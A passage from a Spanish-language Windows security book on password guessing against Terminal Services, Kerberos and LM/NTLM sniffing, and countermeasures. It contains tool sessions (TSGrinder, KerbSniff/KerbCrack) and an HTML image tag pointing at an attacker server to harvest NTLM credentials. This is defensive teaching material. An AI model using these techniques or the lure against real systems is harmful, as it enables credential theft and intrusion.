verdadera cuenta Admin siempre tendrá la opción de iniciar una sesión interactivamente).
La herramienta passprop dejó de trabajar con Windows 2000 hasta el Service Pack 2 (aunque
parecía funcionar). Versiones posteriores de Windows pueden lograr lo mismo con parámetros
disponibles como parte de la directiva de seguridad local, que pueden imponerse utilizando Di-
rectiva de grupo en escenarios de dominio. En una instalación independiente de Vista, la cuenta
Administrador integrada está deshabilitada y, como en Windows XP, requiere una modificación
del Registro para que la cuenta sea seleccionable en la pantalla de inicio de sesión.
La ejecución de passprop para establecer el bloqueo de Administrador es fácil:
C:\>passprop /adminlockout
Password must be complex
The Administrator account may be locked out except for interactive logons
on a domain controller.
Para estar completamente seguro, elimine en forma manual el privilegio Acceder a este equi-
po desde la red, de la cuenta Administrador. Esto asegura que la verdadera cuenta Admin no
tendrá acceso de manera remota al sistema. Si se ha cambiado el nombre de Admin, será doble-
mente difícil para los atacantes descubrirlo.
Sugerencia Obtenga la herramienta de passprop para Windows 2000 paquete de recursos; ésta no se incluye
en el paqute profesional.
Deshabilite las cuentas inactivas Hemos encontrado que las organizaciones en que resulta más
difícil entrar son las que usan bloqueo de cuentas, además de expiración de cuentas. Los contra-
tistas, asesores u otros trabajadores temporales que sólo están contratados por un periodo corto
deben recibir cuentas que están configuradas para expirar después de un lapso. También debe
hacer lo mismo con las cuentas usadas para actividades temporales como migraciones. Esto ase-
gura al administrador del sistema que la cuenta se deshabilitará cuando el trabajo temporal esté
completo y la cuenta ya no sea necesaria, en oposición a cuando el departamento de recursos
humanos le indica a alguien que deshabilite o elimine la cuenta después de unos meses (o años,
dependiendo de la eficiencia del departamento de RH). Si el contrato de trabajo temporal se ex-
tiende, la cuenta puede volver a habilitarse, otra vez por un periodo definido. Es mucho más
difícil irrumpir, mediante adivinación de contraseñas de cuentas de usuario, en organizaciones
que implementan esta directiva, porque son menos las cuentas que se toman como blanco en
cualquier momento. Más aún, las cuentas que se retiran son las que tienen las peores contrase-
ñas: ¡las cuentas temporales!
05_SCAMBRAY_05.indd 133 7/28/08 8:55:52 PM

La expiración de cuentas puede establecerse, en los controladores de dominio de Windows,

en las propiedades de una cuenta de usuario, en la ficha Cuenta, bajo La cuenta caduca, como se
Revise cuidadosamente al personal administrativo Recuerde que no es posible defender todo usan-
do parámetros de configuración técnica. Cuando se contrata personal que requiere privilegios
administrativos, asegúrese de que se han aplicado políticas estrictas y revisiones de anteceden-
tes antes de otorgarle esos privilegios. Los miembros de los grupos administrativos privilegia-
dos bajo Windows pueden eliminar registros y ocultar sus pasos para que sea casi imposible
seguir sus (malas) acciones. Asigne a cada administrador una cuenta separada para permitir el
registro de actividades individuales, y no haga que sea posible adivinar el nombre de la cuenta
(usando un nombre como admin). Recuerde que los pares nombre de usuario/contraseña para
cuentas administrativas son las claves para su reino de Windows (asegúrese de que esas claves
son seguras).
También es posible que necesite cuentas administrativas con los privilegios más elevados a
fin de usar tarjetas inteligentes para administrar los sistemas. Como un vector, todas las cuentas
normales de usuarios administrativos podrían usarlos también.
Figura 5-5 La ventana Propiedades de Invitado de una cuenta de usuario que se muestra en
un controlador de dominio de Windows Server 2003. Observe que la expiración de la cuenta puede
establecerse en la mitad inferior de la pantalla
05_SCAMBRAY_05.indd 134 7/28/08 8:55:53 PM

Evite la creación de recursos compartidos administrativos Aunque es algo menor, la prevención de

la creación de recursos compartidos administrativos (C$, ADMIN$) en Windows 2000 y Win-
dows es lo suficientemente importante como para mencionarlo aquí. Los intrusos suelen tomar
como blanco estos recursos para ataques de adivinación de contraseñas, porque permiten el
montaje directo de grandes porciones de la unidad del sistema. He aquí cómo eliminar los recur-
sos compartidos administrativos en Windows.
1. Elimine los recursos compartidos ADMIN$ y letraunidad$ en el Panel de control
Administración de equipos, bajo Carpetas compartidas\Recursos compartidos.
2. Cree HKLM\System\CurrentControlSet\Services\LanmanServer\Parameters\
AutoShareServer (REG_DWORD) y asígnele un valor de 0.
Los recursos compartidos administrativos se eliminarán y no volverán a crearse de manera
automática después de reinicios posteriores.
NOTA Esto no elimina el recurso compartido IPC$; lo crea el servicio Servidor y sólo puede eliminarse al
deshabilitar ese servicio o al eliminar manualmente el recurso utilizando el comando net share.
La deshabilitación del servicio Servidor podría considerarse útil para estaciones de trabajo que, por
lo general, no necesitan compartir recursos en la red, porque el servicio puede habilitarse
remotamente, y es posible acceder al sistema con módulos de administración remota y otros
medios.
Adivinación de contraseñas del servidor terminal

Popularidad: 7
Simplicidad: 7
Impacto: 8
A la funcionalidad remota gráfica que proporciona Microsoft se le conoce como Terminal

Services. Los datos gráficos se transfieren entre el cliente de Terminal Services y el servidor me-
diante el protocolo de escritorio remoto (RDP, Remote Desktop Protocol), que es propiedad de
Microsoft y que opera en el puerto TCP 3389 como opción predeterminada.
Por fortuna para los chicos buenos, la adivinación de contraseñas contra Terminal Services
no es tan fácil como el ataque directo a la autentificación de Windows. La pantalla de inicio de
sesión inicial presentada mediante el cliente de Terminal Services es simplemente un mapa
de bits de la pantalla de inicio de sesión remota (sin que se llame a la API, un hacker debe ingre-
sar texto en la ubicación apropiada dentro del mapa de bits para iniciar una sesión con éxito).
Por tanto, es difícil determinar mediante programación el contenido de la pantalla de sesión
para incluir en una secuencia de comandos el ataque de adivinación de contraseñas.
Uno de los primeros intentos públicos de sortear este obstáculo fue la herramienta TSGrin-
der, de Tim Mullen. En lugar de atacar a través del cliente Terminal Services Win32 estándar, Tim
tomó como destino al cliente avanzado de Terminal Services (TSAC, Terminal Services Advan-
ced Client), basado en ActiveX, de Microsoft. Aunque los controles ActiveX están diseñados es-
pecíficamente para negar acceso mediante una secuencia de comandos a los métodos de
contraseña, es posible acceder a los métodos de interfaz de ImsTscNonScriptable mediante la
unión de vtable en C++. Esto permite a una interfaz de usuario escribir en el control para que los
05_SCAMBRAY_05.indd 135 7/28/08 8:55:53 PM

atacantes puedan golpear la cuenta Administrador hasta que se adivine la contraseña. Tim en-
contró desafíos adicionales en la implementación de esta herramienta desde que la anunció en
2001, pero se las arregló para liberar TSGrinder 2 en la conferencia Black Hat de Las Vegas
en julio de 2003 (el código está disponible en el sitio de Tim en www.hammerofgod.com/down-
load.html). TSGrinder trabaja como se indicó y es impresionantemente rápido, considerando
que es esencial “teclear” cada suposición en el cuadro de inicio de sesión de cliente de Terminal
Services. He aquí un ejemplo de una sesión de TSGrinder que ha adivinado con éxito una con-
traseña contra un sistema Windows Server 2003 (la ventana de inicio de sesión gráfica aparece
en paralelo con la sesión de línea de comandos):
C:\>tsgrinder 192.168.234.244
password manzana – failed
password naranja – failed
password pera – failed
password mono – failed
password mapache – failed
password jirafa – failed
password perro – failed
password gato – failed
password pelotas – failed
paswword adivina – success!
TSGrinder toma los argumentos de línea de comandos para nombre de usuario, dominio o
marca de anuncio (en caso de que esos molestos administradores de sistemas traten de lanzar un
anuncio de inicio de sesión antes del cuadro de diálogo), subprocesos múltiples y varios niveles
de depuración. Tim, ha valido la pena la espera.
Contramedidas contra la trituración de contraseñas con TSGrinder

Si aún está debatiéndose sobre establecer un umbral de bloqueo de cuentas después de leer este
capítulo, debe ser una conclusión anticipada que ejecutará Terminal Services. Recuerde que si
usa passprop para aplicar el umbral a la cuenta Administrador (RID 500), esto no afectará al ini-
cio de sesión interactivo vía Terminal Services, así que asigne una contraseña malvadamente
larga y compleja a la verdadera cuenta Administrador. Además, todos los sucesos de inicio de
sesión de cuenta deben registrarse (correcto o erróneo).
Como analizamos en páginas anteriores de este capítulo, también recomendamos cambiar el
nombre de la cuenta local de Administrador, sobre todo en Terminal Services. Esta cuenta es to-
dopoderosa en el equipo local y no puede bloquearse interactivamente. Debido a que los inicios
de sesión en Terminal Services son interactivos, por definición, los atacantes pueden probar de
manera interactiva la adivinación de contraseñas de manera remota contra la cuenta Adminis-
trador. El cambio del nombre de la cuenta presenta un destino móvil para los atacantes (aunque
la verdadera cuenta Administrador puede enumerarse mediante las técnicas analizadas en el
capítulo 4, si servicios como SMB o SNMP están disponibles en el destino sin una configuración
apropiada).
Una manera de desalentar los ataques de adivinación de contraseñas contra Terminal Servi-
ces consiste en implementar una nota legal personalizada para el inicio de sesión de Windows.
Esto puede hacerse al agregar o editar los valores del Registro que se muestran a continuación:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
05_SCAMBRAY_05.indd 136 7/28/08 8:55:54 PM

Nombre Tipo de datos Valor

LegalNoticeCaption REG_SZ [leyenda personalizada]
LegalNoticeText REG_SZ [mensaje personalizado]
Windows desplegará la leyenda y el mensaje personalizados que se proporcionen en estos

valores después de que los usuarios oprimen ctrl+alt+supr y antes de que se presente el cua-
dro de diálogo de inicio de sesión, aunque inicie sesión mediante Terminal Services. No queda
claro qué efecto (si hay alguno) tendrá esto en los ataques de adivinación de contraseñas como
los implementados por TSGrinder (apostamos que serán descarrilados por completo), pero por
lo menos hará que los hackers maliciosos trabajen un poco más para pasar este indicador adicio-
nal de Aceptar.
Otra mitigación para la adivinación de contraseñas consiste en oscurecer la exposición del
puerto en que escucha Terminal Services. Esto no agrega protección al servidor real, pero signi-
fica que el atacante necesita conectarse específicamente a un puerto con un cliente o una co-
nexión limpia, sin imaginar cuál protocolo se usa en ese puerto. El cambio puede hacerse al
modificar la siguiente entrada del Registro.
Encuentre la subclave “PortNumber” y observe el valor 000003D, hex para

(3389). Modifique el número de puerto en Hex y guarde el nuevo valor:
HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp

PortNumber Puerto en hex (D3D es 3389)
ESPIONAJE SOBRE LA AUTENTIFICACIÓN DE WINDOWS

En caso de que falle el ataque directo de adivinación de contraseñas, un atacante puede tratar de
obtener credenciales del usuario al espiar los intercambios de inicio de sesión de Windows. Mu-
chas herramientas y técnicas están disponibles para realizar este tipo de ataques, y en esta sec-
ción analizaremos las más comunes:
• “Olfatear” (sniffing) equivalentes de credenciales directamente de la conexión de red

• Capturar equivalentes de credenciales empleando un servidor fraudulento
• Ataques de intermediario (MITM, Man-in-the-middle)
“Sniffing” es un término coloquial para capturar y analizar comunicaciones de una red. El término fue
NOTA
popularizado por la línea Sniffer de Network Associates de herramientas de monitoreo de red. Hoy
en día, el Sniffer está disponible con Network General.
Debido a que se trata de ataques especializados, se implementan más fácilmente empleando

herramientas específicas. Por tanto, nuestro análisis se centrará en gran medida en estas herra-
mientas.
En esta sección se supone que usted está familiarizado con los protocolos de autentificación
NOTA
orientados a LAN de Windows, incluido el mecanismo de desafío-respuesta NTLM, que se describió
en el capítulo 2.
05_SCAMBRAY_05.indd 137 7/28/08 8:55:55 PM

Olfateo de autentificación de Kerberos utilizando KerbSniff/KerbCrack

Popularidad: 5
Simplicidad: 3
Impacto: 9
Sí, lo leyó bien: olfateo de Kerberos. Aunque la capacidad de espionaje en la autentificación

LM/NTLM es muy conocida, es mucho menos sabido el hecho de que se puede hacer lo mismo
con el inicio de sesión de dominio Kerberos en Windows 2000 y posteriores empleando las he-
rramientas KerbSniff/KerbCrack de ARNE Vidstrom, en ntsecurity.nu, ambos localizados en el
paquete KerbCrack. En realidad, no lo podíamos creer hasta que lo probamos y vimos los datos
con nuestros propios ojos.
Sólo la solicitud inicial de un boleto que otorga un boleto (TGT, Ticket Granting Ticket) del cliente al
NOTA
centro de distribución de claves (KDC, Key Distribution Center) puede usarse en un ataque de fuerza
bruta, porque los inicios de sesión posteriores en varios servicios dentro de la sesión de inicio de
sesión usan claves aleatorias.
KerbSniff y KerbCrack trabajan en conjunto. KerbSniff olfatea la red y obtiene información

de autentificación de dominio Kerberos, guardándola en un archivo de salida especificado por
el usuario (en nuestro ejemplo, salida.txt), como se muestra aquí:
C:\>kerbsniff output.txt
KerbSniff 1.2 - (c) 2002, Arne Vidstrom

- http://ntsecurity.nu/toolbox/kerbcrack/
Available network adapters:
0 - 192.168.234.34
1 - 192.168.234.33
2 - 192.168.208.1
4 - 192.168.223.1
Select the network adapter to sniff on: 1
Captured packets: *
Oprima ctrl+c para terminar la captura. El asterisco después de Captured packets (paque-
tes capturados) indica el número de inicios de sesión que se han olfateado.
Puede usar KerbCrack para realizar operaciones de irrupción en el archivo de salida, re-
velando las contraseñas dado el tiempo suficiente y calculando el caballaje (o un diccionario
especialmente largo). Usamos la opción de irrupción con diccionario en este ejemplo:
05_SCAMBRAY_05.indd 138 7/28/08 8:55:55 PM

C:\>kerbcrack salida.txt diccionario.txt
KerbCrack 1.2 – (c) 2002, ARNE Vidstrom

- http://ntsecurity.nu/toolbox/kerbcrack/
Loaded capture file.
Currently working on:
Account name - administrador

From domain - VEGAS2
Trying password – admin
Trying password – invitado
Trying password – root
Number of cracked passwords this far: 1
Done
La última suposición de contraseña es la que se ha roto (en nuestro ejemplo, root).
KerbCrack sólo romperá la última entrada de usuario hecha en el archivo KerbSniff; tendrá que
NOTA
separar manualmente las entradas en diferentes archivos si quiere romper la contraseña de cada
uno de los usuarios. Además, hemos observado que en ocasiones KerbSniff añade m o n a algunos
nombres de cuenta. Otros programas para irrumpir en Kerberos aparecen en la sección “Referencias
y lecturas adicionales”.
La base para este ataque se explica en un artículo escrito en marzo de 2002 por Frank
O’Dwyer. (Consulte la sección “Referencias y lecturas adicionales”, al final de este capítulo, para
encontrar un vínculo). En esencia, la implementación de Kerberos de Windows envía un paque-
te previo a la autentificación que contiene un texto simple conocido (una estampa de tiempo)
cifrado con una clave derivada de la contraseña del usuario. Por tanto, un ataque de fuerza bru-
ta o de diccionario que descifra ese paquete y revela una estructura similar a una estampa de
tiempo estándar devela la contraseña de usuario. Éste ha sido un problema conocido con Kerbe-
ros 5 por algún tiempo.
Contramedidas ante el olfateo de Kerberos

En nuestra prueba, el establecimiento de cifrado en el canal seguro no evita este ataque (consul-
te el capítulo 2) y, al momento de escribir este libro, Microsoft no había publicado directrices so-
bre la manera de atender este problema. Por tanto, usted se queda con la defensa clásica: elegir
buenas contraseñas. En el artículo de O’Dwyer se observa que contraseñas de ocho caracteres de
largo que contienen mayúsculas y minúsculas y números tomarían alrededor de 67 años en re-
velarse empleando este método en un solo equipo Pentium 1-5GHz. De modo que si está usando
la característica de complejidad de contraseña de Windows (mencionada al principio del capítu-
lo), se ha comprado a sí mismo algo de tiempo (sonrisas). Además, recuerde que si una contra-
seña se encuentra en un diccionario, se descubrirá de inmediato.
05_SCAMBRAY_05.indd 139 7/28/08 8:55:56 PM

Olfateo de autentificación LM
Popularidad: 7
Simplicidad: 2
Impacto: 10
La herramienta de auditoría de contraseñas L0phtcrack (LC) es posiblemente una de las más

reconocidas en la comunidad de la seguridad y aun dentro de los círculos principales de soft-
ware. Por desgracia, LC ya no recibe mantenimiento. Sin embargo, una opción denominada LCP
contiene casi toda la misma funcionalidad que LC. Aunque la función principal de L0phtcrack
consiste principalmente en realizar descubrimiento de contraseñas fuera de línea, las últimas
versiones disponibles incluían un módulo denominado SMB Packet Capture, que es capaz de
olfatear tráfico de autentificación de desafío-respuesta del LAN Manager (LM) fuera de red y
alimentarlo en el motor de descubrimiento de contraseñas de L0phtcrack. Analizaremos el des-
cubrimiento de contraseñas y L0phtcrack en el capítulo 7; en este capítulo nos concentraremos
en la capacidad de la herramienta para capturar tráfico LM y decodificarlo. Aunque LCP no so-
porta captura directa de tráfico de autentificación de Windows como L0phtcrack, puede impor-
tar hashes de LM de los archivos de captura de red Sniff. Aquí revisaremos la funcionalidad de
L0phtcrack; el proceso es similar al uso de LCP con la excepción de que es necesario importar los
hashes de LM.
Como analizamos en el capítulo 2, la debilidad en el hash de LM permite que un atacante
con la habilidad de espiar en la red adivine el propio hash de la contraseña con relativa facilidad
y luego trate de adivinar la contraseña real fuera de línea (sí, ¡aunque el propio hash de la con-
traseña nunca recorra la red!). Una descripción a profundidad del proceso de extracción del hash
de la contraseña a partir de la rutina de desafío-respuesta de LM está disponible dentro de la
documentación de LC, bajo “Technical Explanation of Network SMB Capture” (explicación téc-
nica de la captura de SMB de red), pero aquí cubriremos los puntos esenciales del mecanismo.
El problema fundamental es la manera en que el algoritmo de LM crea el hash del usuario
con base en dos segmentos separados de siete caracteres de la contraseña de la cuenta. Los
primeros 8 bytes se derivan de los primeros siete caracteres de la contraseña del usuario y
los segundos 8 bytes del octavo al decimocuarto caracteres de la contraseña:
Primeros 8 bytes del hash de LM Segundos 8 bytes del hash de LM
Derivados de los primeros 7 caracteres Derivados de los segundos 7 caracteres

de la contraseña de la cuenta de la contraseña de la cuenta
Cada fragmento puede atacarse utilizando adivinación exhaustiva contra cada posible com-
binación de 8 bytes. Para un equipo con un procesador moderno es muy fácil atacar todo el “es-
pacio de caracteres” de 8 bytes (es decir, todas las combinaciones posibles de caracteres
permitidas hasta de 8 bytes). Por tanto, si un atacante puede descubrir el hash LM del usuario,
tiene una buena posibilidad de descubrir al final la contraseña real de texto simple.
05_SCAMBRAY_05.indd 140 7/28/08 8:55:57 PM

¿Y cómo obtiene SMB Packet Capture el hash de LM del intercambio desafío-respuesta?

Como se mostró en el capítulo 2, ni el hash LM ni el NTLM se envían durante la autentificación
desafío-respuesta NTLM. Resulta que la parte de la “respuesta” del desafío-respuesta NTLM se
crea usando una derivada del hash de LM para cifrar el “desafío” de 8 bytes. Debido a la simplici-
dad del proceso de derivación, la respuesta también se ataca fácilmente utilizando adivinación
exhaustiva para determinar el valor de hash LM original. La eficiencia de este proceso es alta-
mente beneficiosa dependiendo de la longitud de la contraseña. El resultado final: un LC Packet
Capture de SMB puede obtener hashes LM de la red si olfatea la respuesta de LM. Empleando
un mecanismo similar, puede obtener también hashes de desafío-respuesta, aunque en realidad
no sea capaz de derivar hashes del tráfico de desafío-respuesta de NTLMv2. En la figura 5-6 se
muestra SMB Packet Capture en funcionamiento, cosechando respuestas de LM y NTLM en una
red.
Una vez que se derivan los hashes de LM y NTLM, pueden importarse a LC o LCP, como se
muestra en la figura 5-7, mediante funcionalidad de importación estándar (en LCP, esta funcio-
nalidad está disponible en la ficha Import, llamada Import From Sniff File) y está sujeta a descu-
brimiento (véase el capítulo 7). Dependiendo de la solidez de las contraseñas, el proceso de
descubrimiento puede revelar contraseñas de texto simple en cosa de minutos u horas.
Figura 5-6 SMB Packet Capture de L0phtcrack olfateando desafíos-respuesta de LM equivalentes a

contraseña de intercambios de autentificación de Windows en la red
05_SCAMBRAY_05.indd 141 7/28/08 8:55:58 PM

Figura 5-7 La herramienta LCP en funcionamiento descubriendo contraseñas de Windows importadas

de capturas de un olfateador de red
Debe observar algunas cosas importantes acerca del uso de la utilería SMB Packet Capture
de LC:
• La utilería SMB Packet Capture de LC no es capaz de derivar hashes de intercambios entre

Windows 2000 y sistemas posteriores. (Un equipo heredado de Windows debe representar
un lado del intercambio, cliente o servidor). En nuestra prueba, LC 4 sólo pudo
derivar respuestas de LM de autentificaciones que incluían NT 4 o sistemas anteriores.
Si ambos extremos de la conversación sólo incluyen Windows XP, 2000 o Server
2003, SMB Packet Capture de LC 4 no capturará ningún paquete.
• Sólo puede capturar tráfico de desafío-respuesta de medios compartidos, no conmutados. Sin
embargo, esto puede evitarse al usar redireccionamiento/envenenamiento de caché
del protocolo de resolución de direcciones (ARP, Address Resolution Protocol) en
Ethernets conmutadas (consulte Hacking Exposed, quinta edición). Otra técnica para
cambiar el enrutamiento de la secuencia de autentificación de SMB consiste en
la falsificación del nombre de NetBIOS, y esta técnica se describirá más adelante
en este capítulo.
• El tiempo para descubrir hashes de desafío-respuesta capturados a partir de la realización
completa de olfateos de red aumenta de manera lineal a medida que agrega hashes de contraseña
para descubrir. La obtención de resultados de cada hash que se está encriptando
con un desafío único hace más lento el proceso, porque el trabajo hecho para descubrir
una contraseña no puede usarse de nuevo para descubrir otra (que no es el caso
con los hashes obtenidos de un volcado del Registro). Por tanto, diez hashes de
desafío-respuesta de red toman diez veces más tiempo en descubrirse que sólo uno,
lo que limita la efectividad de este tipo de auditoría de contraseña para situaciones
específicas.
• Debe instalarse de manera correcta el controlador de captura del paquete WinPcap incluido y
debe ejecutarse mientras se usa SMB Packet Capture. LC instala WinPcap automáticamente,
y el controlador se lanza al momento del arranque.
Para verificar la instalación correcta de WinPcap, revise que WinPcap aparece en la aplica-
ción Agregar o quitar programas del Panel de control. Cuando se ejecuta SMB Packet Capture,
05_SCAMBRAY_05.indd 142 7/28/08 8:55:59 PM

puede comprobar que el controlador está cargado al ejecutar Administración de equipos (com-
pmgmgt.msc) y buscar bajo el nodo Información del sistema/Entorno de software/Controlado-
res de sistema. La entrada llamada packet_2.1 (el número puede ser diferente para distintas
versiones de WinPcap) debe aparecer como Activo. Además, asegúrese de deshabilitar cualquier
software de firewall personal que pueda estar ejecutándose en su sistema para asegurar que no
interfiere con la captura de paquetes de WinPcap.
ScoopLM/BeatLM Otro estupendo conjunto de herramientas para captura de respuestas y descu-

brimiento de LM son las herramientas ScoopLM y BeatLM de Urity en SecurityFriday.com.
ScoopLM actúa de manera similar a SMB Packet Capture de LC, pero también dará visibilidad
en los intercambios de autentificación que incluyen sistemas más recientes que NT 4. Por ejem-
plo, en la figura 5-8 se muestra ScoopLM capturando intercambios de contraseñas entre un ser-
vidor de Windows y los siguientes clientes: Windows NT 4, XP y Server 2003. (Puede saber cuál
cliente es cuál por el nombre de usuario que hemos seleccionado).
Por desgracia, cuando trata de descubrir estos intercambios de inicio de sesión utilizando
BeatLM, puede encontrar rápidamente que las respuestas de LM en estos datos no son suscepti-
bles de descubrimiento, como mostramos en la figura 5-9. Cada una de las contraseñas para el
usuario en cuestión es test, y hemos usado un diccionario con la palabra test en él. Como puede
ver, la respuesta de LM de NT 4 es descubierta de manera muy práctica, pero las respuestas de
Windows XP y un cliente de Windows no lo son, mostrando el mensaje de ENRUTADOR en la
columna de la derecha. Analizaremos la razón por la que sucede esto en la sección “Contrame-
didas” que se presenta en breve.
Redireccionamiento de inicios de sesión de SMB al atacante Suponiendo que puede engañarse a los
usuarios para que se conecten al servidor de elección del atacante, la captura de respuesta de LM
se vuelve mucho más fácil. Este método también resulta práctico cuando se ha implementado el
intercambio de redes, porque invocará sesiones de autentificación próximas al sistema del ata-
cante, sin importar la topología de red.
Figura 5-8 ScoopLM captura autentificación de desafío-respuesta de LM/NTLM entre varios clientes y
un sistema de Windows Server 2003
05_SCAMBRAY_05.indd 143 7/28/08 8:55:59 PM

Figura 5-9 BeatLM descubre contraseñas obtenidas del olfateo de respuestas de LM. Tome nota de
que no descubren contraseñas de versiones más recientes de Windows que XP
También es una manera más fina de tomar como blanco a usuarios individuales. El truco
más básico se sugirió en una de las primeras versiones de L0phtcrack: enviar un mensaje de co-
rreo electrónico a la víctima con un hipervínculo incrustado con un servidor fraudulento. La
víctima recibe el mensaje, se sigue el hipervínculo (de manera manual o automática) y el cliente
envía sin saberlo las credenciales de LM/NTLM del usuario en la red. Es fácil disfrazar esos
vínculos y por lo general requieren poca interacción con el usuario porque Windows trata automá-
ticamente de iniciar sesión como el usuario actual si no se proporciona explícitamente información de au-
tentificación. Tal vez éste sea uno de los comportamiento más debilitantes de Windows desde una
perspectiva de la seguridad y lo tocaremos de nuevo en el capítulo 12.
Como ejemplo, considere la etiqueta de imagen incrustada que se genera con HTML en una
página Web o un mensaje de correo electrónico:
<html>
<img src=file://servidor_atacante/nulo.gif height=1 width=1</img>
</html>
Cuando se genera este HTML en Internet Explorer u Outlook/Outlook Express, el archivo nulo.
gif se carga y la víctima iniciará autentificación de Windows con servidor_atacante. Ni siquiera es
necesario que exista el recurso compartido. Analizaremos otro de estos métodos incluida la in-
vocación de la sesión de telnet, en el capítulo 10, en el hackeo del lado del cliente.
Una vez que se engaña a la víctima para que se conecte con el sistema del atacante, la única
característica restante necesaria para completar la explotación es capturar la respuesta de LM, y
hemos visto lo trivial que resulta el uso de SMB Packet Capture o ScoopLM. Suponiendo que
una de estas herramientas está escuchando en servidor_atacante o su segmento local de red, el
tráfico desafío-respuesta de LM/NTLM fluirá en ella.
Una variación de este ataque consiste en configurar un servidor falso de Windows para cap-
turar los hashes, en oposición a un olfateador como SMB Packet Capture. Varias herramientas
pueden responder a la autentificación de cliente con un desafío de servidor SMB estático para
mejorar el desempeño del descubrimiento de contraseñas. Analizaremos los servidores falsos
SMB en la sección “Subversión de la autentificación de Windows”, en páginas posteriores de
este capítulo. También es posible usar redireccionamiento/envenenamiento de caché para redi-
rigir el tráfico del cliente a un sistema designado; consulte el capítulo 7 Hacking Exposed, quinta
edición.
05_SCAMBRAY_05.indd 144 7/28/08 8:56:00 PM

Contramedidas o (más bien) mitigaciones

ante el olfateo de credenciales de Windows
Hay varias maneras de mitigar el riesgo representado por el olfateo de respuesta de LM.
Una manera consiste en asegurar que se siguen las mejores prácticas de seguridad en la red.
Mantenga los servicios de autentificación de Windows dentro de redes protegidas y asegure que
la infraestructura general de red no permite que el tráfico LM pase por nodos no confiables. Un
corolario a este remedio consiste en asegurar que los puntos de acceso físicos a la red (conectores
de pared, etc.) no están disponibles para los transeúntes casuales. (Recuerde que esto se vuelve
más difícil con la creciente prevalencia de redes inalámbricas.) Además, aunque suele ser una
buena idea usar características integradas en el equipo de red o protocolo dinámico de configu-
ración de host (DHCP, Dynamic Host Configuration Protocol), para evitar que los intrusos regis-
tren las direcciones físicas y de capa de red sin autentificación, para reconocer esos ataques de
olfateo no se requiere que el atacante obtenga una dirección MAC (Media Access Control, con-
trol de acceso a medios) o una IP porque operan en modo promiscuo.
En el segundo caso, configure todos los sistemas de Windows dentro de su entorno para des-
habilitar la propagación del hash de LM en la red. Esto se hace al usar el valor Seguridad de red:
nivel de autentificación de LAN Manager, bajo la directiva de seguridad (nodo Configuración
de equipos/Configuraciones de Windows/Configuración de seguridad/Directivas locales/Op-
ciones de seguridad, dentro del complemento Directiva de grupo o Directiva de seguridad local
de MMC). Este valor le permite configurar Windows 2000 y posteriores para que realicen auten-
tificación LM/NTLM en una de seis maneras (de la menos a la más segura; adaptado del artícu-
lo Q239869 de la base de datos de conocimiento de Microsoft):
• Nivel 0 Enviar LM y respuesta NTLM; nunca utilice seguridad de sesión NTLM 2.

Los clientes usan la autentificación LM y NTLM y nunca usan la seguridad de sesión
NTLM 2; los controladores de dominio aceptan la autentificación LM, NTLM y NTLM
2. (Esta es la opción predeterminada en productos de Windows hasta Windows XP.)
• Nivel 1 Usar la seguridad de sesión NTLM 2 si se ha negociado Los clientes usan la
autentificación LM y NTLM y utilizan la seguridad de sesión NTLM 2 si el servidor la
admite; los controladores de dominio aceptan la autentificación LM, NTLM y NTLM 2.
• Nivel 2 Enviar sólo autentificación NTLM. Los clientes sólo usan la autentificación
NTLM y utilizan la seguridad de sesión NTLM 2 si el servidor la admite; los
controladores de dominio aceptan la autentificación LM, NTLM y NTLM 2. (Ésta es la
opción predeterminada en Windows.)
• Nivel 3 Sólo enviar la respuesta NTLM 2. Los clientes usan la autentificación
NTLM 2 y sólo utilizan la seguridad de sesión NTLM 2 si el servidor la admite; los
controladores de dominio aceptan la autentificación LM, NTLM y NTLM 2.
• Nivel 4 Los controladores de dominio rechazan las respuestas LM. Los clientes
utilizan la autentificación NTLM y utilizan seguridad de sesión NTLM 2 si el servidor
lo admite; los controladores de dominio rechazan la autentificación LM (es decir,
aceptan NTLM y NTLM 2).
• Nivel 5 Los controladores de dominio rechazan respuestas LM y NTLM (sólo
aceptan NTLM 2). Los clientes utilizan autentificación NTLM 2, utilizan
seguridad de sesión NTLM 2 si el servidor la admite; los controladores de
dominio rechazan autentificación NTLM y LM (sólo aceptan NTLM 2).
05_SCAMBRAY_05.indd 145 7/28/08 8:56:01 PM

Al establecer el nivel de autentificación de Lan Manager en el nivel 2, Enviar sólo autentifi-

cación NTLM, las herramientas de olfateo de respuesta de LM no podrán derivar un hash de la
autentificación de desafío-respuesta. (Los valores mayores que 2 también funcionarán y son más
seguros). En la figura 5-10 se muestra la interfaz de la directiva de seguridad de Windows en sus
parámetros predeterminados del nivel de autentificación de LM.
Sugerencia Cuando se aplica el nivel de autentificación de LM en Windows, haga clic con el botón derecho en
el nodo superior del árbol de MMC en que está desplegado el valor y seleccione Actualizar. Esto
aplicará el valor de manera inmediata.
¿Cuáles son las características de los nuevos protocolos NTLM y NTLM 2? La respuesta de
NTLM no es susceptible al olfateo de respuestas, porque no se basa en el material criptográfico
unido que puede atacarse en paralelo. Por ejemplo, al parecer SMB Packet Capture de L0pht-
crack aún capturará la respuesta LM de un cliente de Windows, aunque su nivel de autentifica-
ción de LM esté en 2, pero una vez importados en L0phtcrack para descubrimiento, los hashes
de contraseña derivados de la respuesta de sólo NTLM no se descubrirán dentro de un marco
temporal razonable. Como vimos antes, otras herramientas de olfateo de respuesta de LM como
ScoopLM, muestran este mismo comportamiento. La razón para esto suele ser que el método
de autentificación utilizado es una variante de NTLM llamada ntlm2 (no es lo mismo que
NTLMv2). Estos hashes pueden descubrirse utilizando herramientas que aparecen en la sección
“Referencias y lecturas adicionales”. Con esto no se pretende afirmar que un atacante no puede
descubrir hashes NTLM válidos (como los analizaremos en el capítulo 7, es muy posible).
Resulta interesante tomar nota de que los desafíos-respuestas de NTLM 2 también pueden
olfatearse y son vulnerables a ataques similares. Los vínculos a herramientas públicamente dis-
ponibles, y una descripción, se encuentran en “Referencias y lecturas adicionales”.
Figura 5-10 El valor predeterminado del nivel de autentificación de LANMan de Windows Server 2003
evita el envío de la respuesta de LM vulnerable mediante la red
05_SCAMBRAY_05.indd 146 7/28/08 8:56:01 PM

El valor del nivel de autentificación de LAN Manager se configuró utilizando la clave de Re-
gistro HKLM\System\CurrentControlSet\Control\LSA\LMCompatibilityLevel bajo NT4,
donde se originan las designaciones de nivel de 0 a 5, aunque el número no aparezca en la interfaz
de la directiva de seguridad de Windows (consulte el artículo de la base de datos de conocimien-
to de Microsoft Q147706).
NOTA Recuerde que mientras los sistemas de un entorno no se hayan establecido en el nivel 2 o superior,
